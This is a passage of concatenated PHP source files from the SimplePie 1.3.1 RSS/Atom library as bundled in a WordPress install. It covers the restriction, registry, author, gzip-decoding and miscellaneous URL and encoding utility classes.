LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Handles `<media:restriction>` as defined in Media RSS * * Used by {@see SimplePie_Enclosure::get_restriction()} and {@see SimplePie_Enclosure::get_restrictions()} * * This class can be overloaded with {@see SimplePie::set_restriction_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Restriction { /** * Relationship ('allow'/'deny') * * @var string * @see get_relationship() */ var $relationship; /** * Type of restriction * * @var string * @see get_type() */ var $type; /** * Restricted values * * @var string * @see get_value() */ var $value; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($relationship = null, $type = null, $value = null) { $this->relationship = $relationship; $this->type = $type; $this->value = $value; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the relationship * * @return string|null Either 'allow' or 'deny' */ public function get_relationship() { if ($this->relationship !== null) { return $this->relationship; } else { return null; } } /** * Get the type * * @return string|null */ public function get_type() { if ($this->type !== null) { return $this->type; } else { return null; } } /** * Get the list of restricted things * * @return string|null */ public function get_value() { if ($this->value !== null) { return $this->value; } else { return null; } } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Restriction.php
PHP
asf20
3,800
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Handles creating objects and calling methods * * Access this via {@see SimplePie::get_registry()} * * @package SimplePie */ class SimplePie_Registry { /** * Default class mapping * * Overriding classes *must* subclass these. * * @var array */ protected $default = array( 'Cache' => 'SimplePie_Cache', 'Locator' => 'SimplePie_Locator', 'Parser' => 'SimplePie_Parser', 'File' => 'SimplePie_File', 'Sanitize' => 'SimplePie_Sanitize', 'Item' => 'SimplePie_Item', 'Author' => 'SimplePie_Author', 'Category' => 'SimplePie_Category', 'Enclosure' => 'SimplePie_Enclosure', 'Caption' => 'SimplePie_Caption', 'Copyright' => 'SimplePie_Copyright', 'Credit' => 'SimplePie_Credit', 'Rating' => 'SimplePie_Rating', 'Restriction' => 'SimplePie_Restriction', 'Content_Type_Sniffer' => 'SimplePie_Content_Type_Sniffer', 'Source' => 'SimplePie_Source', 'Misc' => 'SimplePie_Misc', 'XML_Declaration_Parser' => 'SimplePie_XML_Declaration_Parser', 'Parse_Date' => 'SimplePie_Parse_Date', ); /** * Class mapping * * @see register() * @var array */ protected $classes = array(); /** * Legacy classes * * @see register() * @var array */ protected $legacy = array(); /** * Constructor * * No-op */ public function __construct() { } /** * Register a class * * @param string $type See {@see $default} for names * @param string $class Class name, must subclass the corresponding default * @param bool $legacy Whether to enable legacy support for this class * @return bool Successfulness */ public function register($type, $class, $legacy = false) { if (!is_subclass_of($class, $this->default[$type])) { return false; } $this->classes[$type] = $class; if ($legacy) { $this->legacy[] = $class; } return true; } /** * Get the class registered for a type * * Where possible, use {@see create()} or {@see call()} instead * * @param string $type * @return string|null */ public function get_class($type) { if (!empty($this->classes[$type])) { return $this->classes[$type]; } if (!empty($this->default[$type])) { return $this->default[$type]; } return null; } /** * Create a new instance of a given type * * @param string $type * @param array $parameters Parameters to pass to the constructor * @return object Instance of class */ public function &create($type, $parameters = array()) { $class = $this->get_class($type); if (in_array($class, $this->legacy)) { switch ($type) { case 'locator': // Legacy: file, timeout, useragent, file_class, max_checked_feeds, content_type_sniffer_class // Specified: file, timeout, useragent, max_checked_feeds $replacement = array($this->get_class('file'), $parameters[3], $this->get_class('content_type_sniffer')); array_splice($parameters, 3, 1, $replacement); break; } } if (!method_exists($class, '__construct')) { $instance = new $class; } else { $reflector = new ReflectionClass($class); $instance = $reflector->newInstanceArgs($parameters); } if (method_exists($instance, 'set_registry')) { $instance->set_registry($this); } return $instance; } /** * Call a static method for a type * * @param string $type * @param string $method * @param array $parameters * @return mixed */ public function &call($type, $method, $parameters = array()) { $class = $this->get_class($type); if (in_array($class, $this->legacy)) { switch ($type) { case 'Cache': // For backwards compatibility with old non-static // Cache::create() methods if ($method === 'get_handler') { $result = @call_user_func_array(array($class, 'create'), $parameters); return $result; } break; } } $result = call_user_func_array(array($class, $method), $parameters); return $result; } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Registry.php
PHP
asf20
5,991
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Manages all author-related data * * Used by {@see SimplePie_Item::get_author()} and {@see SimplePie::get_authors()} * * This class can be overloaded with {@see SimplePie::set_author_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Author { /** * Author's name * * @var string * @see get_name() */ var $name; /** * Author's link * * @var string * @see get_link() */ var $link; /** * Author's email address * * @var string * @see get_email() */ var $email; /** * Constructor, used to input the data * * @param string $name * @param string $link * @param string $email */ public function __construct($name = null, $link = null, $email = null) { $this->name = $name; $this->link = $link; $this->email = $email; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Author's name * * @return string|null */ public function get_name() { if ($this->name !== null) { return $this->name; } else { return null; } } /** * Author's link * * @return string|null */ public function get_link() { if ($this->link !== null) { return $this->link; } else { return null; } } /** * Author's email address * * @return string|null */ public function get_email() { if ($this->email !== null) { return $this->email; } else { return null; } } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Author.php
PHP
asf20
3,592
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Decode 'gzip' encoded HTTP data * * @package SimplePie * @subpackage HTTP * @link http://www.gzip.org/format.txt */ class SimplePie_gzdecode { /** * Compressed data * * @access private * @var string * @see gzdecode::$data */ var $compressed_data; /** * Size of compressed data * * @access private * @var int */ var $compressed_size; /** * Minimum size of a valid gzip string * * @access private * @var int */ var $min_compressed_size = 18; /** * Current position of pointer * * @access private * @var int */ var $position = 0; /** * Flags (FLG) * * @access private * @var int */ var $flags; /** * Uncompressed data * * @access public * @see gzdecode::$compressed_data * @var string */ var $data; /** * Modified time * * @access public * @var int */ var $MTIME; /** * Extra Flags * * @access public * @var int */ var $XFL; /** * Operating System * * @access public * @var int */ var $OS; /** * Subfield ID 1 * * @access public * @see gzdecode::$extra_field * @see gzdecode::$SI2 * @var string */ var $SI1; /** * Subfield ID 2 * * @access public * @see gzdecode::$extra_field * @see gzdecode::$SI1 * @var string */ var $SI2; /** * Extra field content * * @access public * @see gzdecode::$SI1 * @see gzdecode::$SI2 * @var string */ var $extra_field; /** * Original filename * * @access public * @var string */ var $filename; /** * Human readable comment * * @access public * @var string */ var $comment; /** * Don't allow anything to be set * * @param string $name * @param mixed $value */ public function __set($name, $value) { trigger_error("Cannot write property $name", E_USER_ERROR); } /** * Set the compressed string and related properties * * @param string $data */ public function __construct($data) { $this->compressed_data = $data; $this->compressed_size = strlen($data); } /** * Decode the GZIP stream * * @return bool Successfulness */ public function parse() { if ($this->compressed_size >= $this->min_compressed_size) { // Check ID1, ID2, and CM if (substr($this->compressed_data, 0, 3) !== "\x1F\x8B\x08") { return false; } // Get the FLG (FLaGs) $this->flags = ord($this->compressed_data[3]); // FLG bits above (1 << 4) are reserved if ($this->flags > 0x1F) { return false; } // Advance the pointer after the above $this->position += 4; // MTIME $mtime = substr($this->compressed_data, $this->position, 4); // Reverse the string if we're on a big-endian arch because l is the only signed long and is machine endianness if (current(unpack('S', "\x00\x01")) === 1) { $mtime = strrev($mtime); } $this->MTIME = current(unpack('l', $mtime)); $this->position += 4; // Get the XFL (eXtra FLags) $this->XFL = ord($this->compressed_data[$this->position++]); // Get the OS (Operating System) $this->OS = ord($this->compressed_data[$this->position++]); // Parse the FEXTRA if ($this->flags & 4) { // Read subfield IDs $this->SI1 = $this->compressed_data[$this->position++]; $this->SI2 = $this->compressed_data[$this->position++]; // SI2 set to zero is reserved for future use if ($this->SI2 === "\x00") { return false; } // Get the length of the extra field $len = current(unpack('v', substr($this->compressed_data, $this->position, 2))); $this->position += 2; // Check the length of the string is still valid $this->min_compressed_size += $len + 4; if ($this->compressed_size >= $this->min_compressed_size) { // Set the extra field to the given data $this->extra_field = substr($this->compressed_data, $this->position, $len); $this->position += $len; } else { return false; } } // Parse the FNAME if ($this->flags & 8) { // Get the length of the filename $len = strcspn($this->compressed_data, "\x00", $this->position); // Check the length of the string is still valid $this->min_compressed_size += $len + 1; if ($this->compressed_size >= $this->min_compressed_size) { // Set the original filename to the given string $this->filename = substr($this->compressed_data, $this->position, $len); $this->position += $len + 1; } else { return false; } } // Parse the FCOMMENT if ($this->flags & 16) { // Get the length of the comment $len = strcspn($this->compressed_data, "\x00", $this->position); // Check the length of the string is still valid $this->min_compressed_size += $len + 1; if ($this->compressed_size >= $this->min_compressed_size) { // Set the original comment to the given string $this->comment = substr($this->compressed_data, $this->position, $len); $this->position += $len + 1; } else { return false; } } // Parse the FHCRC if ($this->flags & 2) { // Check the length of the string is still valid $this->min_compressed_size += $len + 2; if ($this->compressed_size >= $this->min_compressed_size) { // Read the CRC $crc = current(unpack('v', substr($this->compressed_data, $this->position, 2))); // Check the CRC matches if ((crc32(substr($this->compressed_data, 0, $this->position)) & 0xFFFF) === $crc) { $this->position += 2; } else { return false; } } else { return false; } } // Decompress the actual data if (($this->data = gzinflate(substr($this->compressed_data, $this->position, -8))) === false) { return false; } else { $this->position = $this->compressed_size - 8; } // Check CRC of data $crc = current(unpack('V', substr($this->compressed_data, $this->position, 4))); $this->position += 4; /*if (extension_loaded('hash') && sprintf('%u', current(unpack('V', hash('crc32b', $this->data)))) !== sprintf('%u', $crc)) { return false; }*/ // Check ISIZE of data $isize = current(unpack('V', substr($this->compressed_data, $this->position, 4))); $this->position += 4; if (sprintf('%u', strlen($this->data) & 0xFFFFFFFF) !== sprintf('%u', $isize)) { return false; } // Wow, against all odds, we've actually got a valid gzip string return true; } else { return false; } } }
zyblog
trunk/zyblog/wp-includes/SimplePie/gzdecode.php
PHP
asf20
8,572
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Miscellanous utilities * * @package SimplePie */ class SimplePie_Misc { public static function time_hms($seconds) { $time = ''; $hours = floor($seconds / 3600); $remainder = $seconds % 3600; if ($hours > 0) { $time .= $hours.':'; } $minutes = floor($remainder / 60); $seconds = $remainder % 60; if ($minutes < 10 && $hours > 0) { $minutes = '0' . $minutes; } if ($seconds < 10) { $seconds = '0' . $seconds; } $time .= $minutes.':'; $time .= $seconds; return $time; } public static function absolutize_url($relative, $base) { $iri = SimplePie_IRI::absolutize(new SimplePie_IRI($base), $relative); if ($iri === false) { return false; } return $iri->get_uri(); } /** * Get a HTML/XML element from a HTML string * * @deprecated Use DOMDocument instead (parsing HTML with regex is bad!) * @param string $realname Element name (including namespace prefix if applicable) * @param string $string HTML document * @return array */ public static function get_element($realname, $string) { $return = array(); $name = preg_quote($realname, '/'); if (preg_match_all("/<($name)" . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . "(>(.*)<\/$name>|(\/)?>)/siU", $string, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) { for ($i = 0, $total_matches = count($matches); $i < $total_matches; $i++) { $return[$i]['tag'] = $realname; $return[$i]['full'] = $matches[$i][0][0]; $return[$i]['offset'] = $matches[$i][0][1]; if (strlen($matches[$i][3][0]) <= 2) { $return[$i]['self_closing'] = true; } else { $return[$i]['self_closing'] = false; $return[$i]['content'] = $matches[$i][4][0]; } $return[$i]['attribs'] = array(); if (isset($matches[$i][2][0]) && preg_match_all('/[\x09\x0A\x0B\x0C\x0D\x20]+([^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*)(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"([^"]*)"|\'([^\']*)\'|([^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?/', ' ' . $matches[$i][2][0] . ' ', $attribs, PREG_SET_ORDER)) { for ($j = 0, $total_attribs = count($attribs); $j < $total_attribs; $j++) { if (count($attribs[$j]) === 2) { $attribs[$j][2] = $attribs[$j][1]; } $return[$i]['attribs'][strtolower($attribs[$j][1])]['data'] = SimplePie_Misc::entities_decode(end($attribs[$j]), 'UTF-8'); } } } } return $return; } public static function element_implode($element) { $full = "<$element[tag]"; foreach ($element['attribs'] as $key => $value) { $key = strtolower($key); $full .= " $key=\"" . htmlspecialchars($value['data']) . '"'; } if ($element['self_closing']) { $full .= ' />'; } else { $full .= ">$element[content]</$element[tag]>"; } return $full; } public static function error($message, $level, $file, $line) { if ((ini_get('error_reporting') & $level) > 0) { switch ($level) { case E_USER_ERROR: $note = 'PHP Error'; break; case E_USER_WARNING: $note = 'PHP Warning'; break; case E_USER_NOTICE: $note = 'PHP Notice'; break; default: $note = 'Unknown Error'; break; } $log_error = true; if (!function_exists('error_log')) { $log_error = false; } $log_file = @ini_get('error_log'); if (!empty($log_file) && ('syslog' !== $log_file) && !@is_writable($log_file)) { $log_error = false; } if ($log_error) { @error_log("$note: $message in $file on line $line", 0); } } return $message; } public static function fix_protocol($url, $http = 1) { $url = SimplePie_Misc::normalize_url($url); $parsed = SimplePie_Misc::parse_url($url); if ($parsed['scheme'] !== '' && $parsed['scheme'] !== 'http' && $parsed['scheme'] !== 'https') { return SimplePie_Misc::fix_protocol(SimplePie_Misc::compress_parse_url('http', $parsed['authority'], $parsed['path'], $parsed['query'], $parsed['fragment']), $http); } if ($parsed['scheme'] === '' && $parsed['authority'] === '' && !file_exists($url)) { return SimplePie_Misc::fix_protocol(SimplePie_Misc::compress_parse_url('http', $parsed['path'], '', $parsed['query'], $parsed['fragment']), $http); } if ($http === 2 && $parsed['scheme'] !== '') { return "feed:$url"; } elseif ($http === 3 && strtolower($parsed['scheme']) === 'http') { return substr_replace($url, 'podcast', 0, 4); } elseif ($http === 4 && strtolower($parsed['scheme']) === 'http') { return substr_replace($url, 'itpc', 0, 4); } else { return $url; } } public static function parse_url($url) { $iri = new SimplePie_IRI($url); return array( 'scheme' => (string) $iri->scheme, 'authority' => (string) $iri->authority, 'path' => (string) $iri->path, 'query' => (string) $iri->query, 'fragment' => (string) $iri->fragment ); } public static function compress_parse_url($scheme = '', $authority = '', $path = '', $query = '', $fragment = '') { $iri = new SimplePie_IRI(''); $iri->scheme = $scheme; $iri->authority = $authority; $iri->path = $path; $iri->query = $query; $iri->fragment = $fragment; return $iri->get_uri(); } public static function normalize_url($url) { $iri = new SimplePie_IRI($url); return $iri->get_uri(); } public static function percent_encoding_normalization($match) { $integer = hexdec($match[1]); if ($integer >= 0x41 && $integer <= 0x5A || $integer >= 0x61 && $integer <= 0x7A || $integer >= 0x30 && $integer <= 0x39 || $integer === 0x2D || $integer === 0x2E || $integer === 0x5F || $integer === 0x7E) { return chr($integer); } else { return strtoupper($match[0]); } } /** * Converts a Windows-1252 encoded string to a UTF-8 encoded string * * @static * @param string $string Windows-1252 encoded string * @return string UTF-8 encoded string */ public static function windows_1252_to_utf8($string) { static $convert_table = array("\x80" => "\xE2\x82\xAC", "\x81" => "\xEF\xBF\xBD", "\x82" => "\xE2\x80\x9A", "\x83" => "\xC6\x92", "\x84" => "\xE2\x80\x9E", "\x85" => "\xE2\x80\xA6", "\x86" => "\xE2\x80\xA0", "\x87" => "\xE2\x80\xA1", "\x88" => "\xCB\x86", "\x89" => "\xE2\x80\xB0", "\x8A" => "\xC5\xA0", "\x8B" => "\xE2\x80\xB9", "\x8C" => "\xC5\x92", "\x8D" => "\xEF\xBF\xBD", "\x8E" => "\xC5\xBD", "\x8F" => "\xEF\xBF\xBD", "\x90" => "\xEF\xBF\xBD", "\x91" => "\xE2\x80\x98", "\x92" => "\xE2\x80\x99", "\x93" => "\xE2\x80\x9C", "\x94" => "\xE2\x80\x9D", "\x95" => "\xE2\x80\xA2", "\x96" => "\xE2\x80\x93", "\x97" => "\xE2\x80\x94", "\x98" => "\xCB\x9C", "\x99" => "\xE2\x84\xA2", "\x9A" => "\xC5\xA1", "\x9B" => "\xE2\x80\xBA", "\x9C" => "\xC5\x93", "\x9D" => "\xEF\xBF\xBD", "\x9E" => "\xC5\xBE", "\x9F" => "\xC5\xB8", "\xA0" => "\xC2\xA0", "\xA1" => "\xC2\xA1", "\xA2" => "\xC2\xA2", "\xA3" => "\xC2\xA3", "\xA4" => "\xC2\xA4", "\xA5" => "\xC2\xA5", "\xA6" => "\xC2\xA6", "\xA7" => "\xC2\xA7", "\xA8" => "\xC2\xA8", "\xA9" => "\xC2\xA9", "\xAA" => "\xC2\xAA", "\xAB" => "\xC2\xAB", "\xAC" => "\xC2\xAC", "\xAD" => "\xC2\xAD", "\xAE" => "\xC2\xAE", "\xAF" => "\xC2\xAF", "\xB0" => "\xC2\xB0", "\xB1" => "\xC2\xB1", "\xB2" => "\xC2\xB2", "\xB3" => "\xC2\xB3", "\xB4" => "\xC2\xB4", "\xB5" => "\xC2\xB5", "\xB6" => "\xC2\xB6", "\xB7" => "\xC2\xB7", "\xB8" => "\xC2\xB8", "\xB9" => "\xC2\xB9", "\xBA" => "\xC2\xBA", "\xBB" => "\xC2\xBB", "\xBC" => "\xC2\xBC", "\xBD" => "\xC2\xBD", "\xBE" => "\xC2\xBE", "\xBF" => "\xC2\xBF", "\xC0" => "\xC3\x80", "\xC1" => "\xC3\x81", "\xC2" => "\xC3\x82", "\xC3" => "\xC3\x83", "\xC4" => "\xC3\x84", "\xC5" => "\xC3\x85", "\xC6" => "\xC3\x86", "\xC7" => "\xC3\x87", "\xC8" => "\xC3\x88", "\xC9" => "\xC3\x89", "\xCA" => "\xC3\x8A", "\xCB" => "\xC3\x8B", "\xCC" => "\xC3\x8C", "\xCD" => "\xC3\x8D", "\xCE" => "\xC3\x8E", "\xCF" => "\xC3\x8F", "\xD0" => "\xC3\x90", "\xD1" => "\xC3\x91", "\xD2" => "\xC3\x92", "\xD3" => "\xC3\x93", "\xD4" => "\xC3\x94", "\xD5" => "\xC3\x95", "\xD6" => "\xC3\x96", "\xD7" => "\xC3\x97", "\xD8" => "\xC3\x98", "\xD9" => "\xC3\x99", "\xDA" => "\xC3\x9A", "\xDB" => "\xC3\x9B", "\xDC" => "\xC3\x9C", "\xDD" => "\xC3\x9D", "\xDE" => "\xC3\x9E", "\xDF" => "\xC3\x9F", "\xE0" => "\xC3\xA0", "\xE1" => "\xC3\xA1", "\xE2" => "\xC3\xA2", "\xE3" => "\xC3\xA3", "\xE4" => "\xC3\xA4", "\xE5" => "\xC3\xA5", "\xE6" => "\xC3\xA6", "\xE7" => "\xC3\xA7", "\xE8" => "\xC3\xA8", "\xE9" => "\xC3\xA9", "\xEA" => "\xC3\xAA", "\xEB" => "\xC3\xAB", "\xEC" => "\xC3\xAC", "\xED" => "\xC3\xAD", "\xEE" => "\xC3\xAE", "\xEF" => "\xC3\xAF", "\xF0" => "\xC3\xB0", "\xF1" => "\xC3\xB1", "\xF2" => "\xC3\xB2", "\xF3" => "\xC3\xB3", "\xF4" => "\xC3\xB4", "\xF5" => "\xC3\xB5", "\xF6" => "\xC3\xB6", "\xF7" => "\xC3\xB7", "\xF8" => "\xC3\xB8", "\xF9" => "\xC3\xB9", "\xFA" => "\xC3\xBA", "\xFB" => "\xC3\xBB", "\xFC" => "\xC3\xBC", "\xFD" => "\xC3\xBD", "\xFE" => "\xC3\xBE", "\xFF" => "\xC3\xBF"); return strtr($string, $convert_table); } /** * Change a string from one encoding to another * * @param string $data Raw data in $input encoding * @param string $input Encoding of $data * @param string $output Encoding you want * @return string|boolean False if we can't convert it */ public static function change_encoding($data, $input, $output) { $input = SimplePie_Misc::encoding($input); $output = SimplePie_Misc::encoding($output); // We fail to fail on non US-ASCII bytes if ($input === 'US-ASCII') { static $non_ascii_octects = ''; if (!$non_ascii_octects) { for ($i = 0x80; $i <= 0xFF; $i++) { $non_ascii_octects .= chr($i); } } $data = substr($data, 0, strcspn($data, $non_ascii_octects)); } // This is first, as behaviour of this is completely predictable if ($input === 'windows-1252' && $output === 'UTF-8') { return SimplePie_Misc::windows_1252_to_utf8($data); } // This is second, as behaviour of this varies only with PHP version (the middle part of this expression checks the encoding is supported). elseif (function_exists('mb_convert_encoding') && ($return = SimplePie_Misc::change_encoding_mbstring($data, $input, $output))) { return $return; } // This is last, as behaviour of this varies with OS userland and PHP version elseif (function_exists('iconv') && ($return = SimplePie_Misc::change_encoding_iconv($data, $input, $output))) { return $return; } // If we can't do anything, just fail else { return false; } } protected static function change_encoding_mbstring($data, $input, $output) { if ($input === 'windows-949') { $input = 'EUC-KR'; } if ($output === 'windows-949') { $output = 'EUC-KR'; } if ($input === 'Windows-31J') { $input = 'SJIS'; } if ($output === 'Windows-31J') { $output = 'SJIS'; } // Check that the encoding is supported if (@mb_convert_encoding("\x80", 'UTF-16BE', $input) === "\x00\x80") { return false; } if (!in_array($input, mb_list_encodings())) { return false; } // Let's do some conversion if ($return = @mb_convert_encoding($data, $output, $input)) { return $return; } return false; } protected static function change_encoding_iconv($data, $input, $output) { return @iconv($input, $output, $data); } /** * Normalize an encoding name * * This is automatically generated by create.php * * To generate it, run `php create.php` on the command line, and copy the * output to replace this function. * * @param string $charset Character set to standardise * @return string Standardised name */ public static function encoding($charset) { // Normalization from UTS #22 switch (strtolower(preg_replace('/(?:[^a-zA-Z0-9]+|([^0-9])0+)/', '\1', $charset))) { case 'adobestandardencoding': case 'csadobestandardencoding': return 'Adobe-Standard-Encoding'; case 'adobesymbolencoding': case 'cshppsmath': return 'Adobe-Symbol-Encoding'; case 'ami1251': case 'amiga1251': return 'Amiga-1251'; case 'ansix31101983': case 'csat5001983': case 'csiso99naplps': case 'isoir99': case 'naplps': return 'ANSI_X3.110-1983'; case 'arabic7': case 'asmo449': case 'csiso89asmo449': case 'iso9036': case 'isoir89': return 'ASMO_449'; case 'big5': case 'csbig5': return 'Big5'; case 'big5hkscs': return 